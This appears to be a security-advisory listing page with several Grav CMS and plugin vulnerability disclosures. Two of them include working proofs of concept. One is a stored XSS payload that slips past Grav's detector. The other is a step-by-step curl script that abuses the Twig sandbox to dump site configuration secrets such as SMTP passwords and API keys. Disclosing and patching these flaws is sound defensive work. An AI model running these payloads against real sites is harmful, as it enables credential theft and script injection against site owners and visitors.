AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Grav from 1.7.53.3 before 1.7.53.6 contains an authorization bypass in Debugger::isDebuggerRequestAuthorized() that allows unauthenticated visitors to read /clockwork/ profiler data via a loopback REMOTEADDR fallback. Behind a same-host reverse proxy, remote requests appear as loopback, letting attackers read stored records including administrator plaintext passwords and configuration credentials.

First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

The Flex Objects plugin (through 1.4.6, tested with Grav 2.0.11) contains an incorrect authorization vulnerability in its Flex Objects API. FlexApiController::update() checks only the general Flex directory permission and does not apply the additional target/field/super-admin checks enforced by the dedicated Users and Groups API controllers. An authenticated account with api.access, admin.login, and users.update permissions (but without api.users.write or admin.super) can use the generic /api/v1/flex-objects/user-accounts endpoint to change a super administrator's password, or the /api/v1/flex-objects/user-groups endpoint to grant its group admin.super, resulting in full site takeover. Fixed in Flex Objects 1.4.7.

First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

The getgrav/grav-plugin-api plugin before 1.0.13 fails to validate that the scopes of a newly created API key are a subset of the caller's scopes in createApiKey. The self-target path of requireApiKeyPermission() requires only the baseline api.access scope, and the new key's scopes are read directly from the request body with no subset check. An attacker holding a minimal-scope API key on a super account can submit an empty scopes array to mint an unscoped, full-access super key, bypassing scope restrictions (and enabling further chains such as configuration write to RCE).

First published (updated )
Severity
5.1
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

A page editor without admin.super can place an event handler after a > inside a quoted attribute. Grav accepts and stores the page, then executes the handler in the application origin when a visitor opens it.

Details

Security::detectXss() (system/src/Grav/Common/Security.php:253) anchors the onevents scan at < and uses [^>]?, which cannot cross the first literal >. When that character is inside a quoted value, the browser keeps the tag open and parses the later onerror attribute, so the detector and browser disagree. AdminController::savePage() relies on this detector when saving content from page editors outside the admin.super whitelist.

PoC

I reproduced this with getgrav/grav 2.0.11 (ad9709f865b09b68798fb1ac375b484a8cc1d892), Admin 1.10.52, and Quark 2 1.1.4.

1. Sign in as a user with admin.login and admin.pages, but without admin.super. 2. Create or edit /xsstest and save this page body:

html <img src=x title=">" onerror=alert(document.domain)>

3. Open /xsstest in a private browser window.

The save succeeds and the visitor sees an alert containing the site domain. With the body changed to <img src=x onerror=alert(1)>, the same endpoint rejects it with XSS issue detected and does not store it.

Impact

A page editor can execute JavaScript in the origin of every user who views the stored page, including unauthenticated visitors.

Anticipated objection and response

Although the detectXss() docblock describes it as a heuristic that cannot catch every XSS, this check is the storage-time boundary for page editors outside the default security.xsswhitelist of admin.super. The same endpoint rejects a plain handler but accepts this executable form, allowing a lower-trust editor to cross the boundary the check is intended to enforce.

Suggested fix

Prefer an HTML tokenizer or sanitizer that rejects event-handler attributes on parsed elements. If the existing tripwire remains, make its tag scan quote-aware instead of treating every > as a boundary. Add double-quoted and single-quoted regression cases plus the rejected plain-handler control.

1 / 3
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Grav Login plugin from 3.6.0 before 3.9.13 contains a missing authorization vulnerability in the login.invite task that allows page authors to obtain super user accounts. Attackers can define an invitation form granting super access in page frontmatter, submit it unauthenticated, and register the invited address for full site control.

First published (updated )
Severity
6.9
Infoleak
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Grav from 2.0.0 before 2.2.5 contains an information disclosure vulnerability that allows page authors to capture visitors' HTTP Basic credentials through Twig page content. Authors can print the request Uri object, which embeds PHPAUTHUSER and PHPAUTHPW, inside an inline style background image to exfiltrate administrators' credentials to an external host.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Grav 2.0.15 before 2.2.13 contains an allowlist bypass vulnerability that allows page editors to invoke arbitrary public static methods by relocating data-@ directives with unset-name@ or integer keys. Attackers with page-edit permission can embed crafted fields in Flex form overrides in page frontmatter to call methods like Folder::delete or Utils::download, deleting directories, overwriting files, or reading files outside the page tree.

First published (updated )
Severity
7.7
Infoleak
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins. — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

php $twigvars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|jsonencode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/.yaml.

PoC

bash Step 1 — Get login nonce NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \ | grep -oP '(?<=name="login-nonce" value=")[^"]+')

Step 2 — Login as editor (no admin.super) curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \ -X POST http://TARGET/admin \ --data-urlencode "data[username]=EDITORUSER" \ --data-urlencode "data[password]=EDITORPASS" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" -o /dev/null

Step 3 — Get admin nonce ADMINNONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \ | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

Step 4 — Save page with process.twig:true and payload curl -s -b /tmp/cookies.txt \ -X POST http://TARGET/admin/pages/poc \ --data-urlencode "admin-nonce=${ADMINNONCE}" \ --data-urlencode "task=save" \ --data-urlencode "data[frontmatter]=title: poc process: twig: true published: true" \ --data-urlencode "data[content]={{ config.toArray()|jsonencode|raw }}" \ --data-urlencode "data[folder]=poc" \ --data-urlencode "data[route]=/" \ --data-urlencode "data[name]=default" -o /dev/null

Step 5 — Retrieve secrets from rendered page curl -s http://TARGET/poc | grep -o '"password":"[^"]"'

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.

1 / 3
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203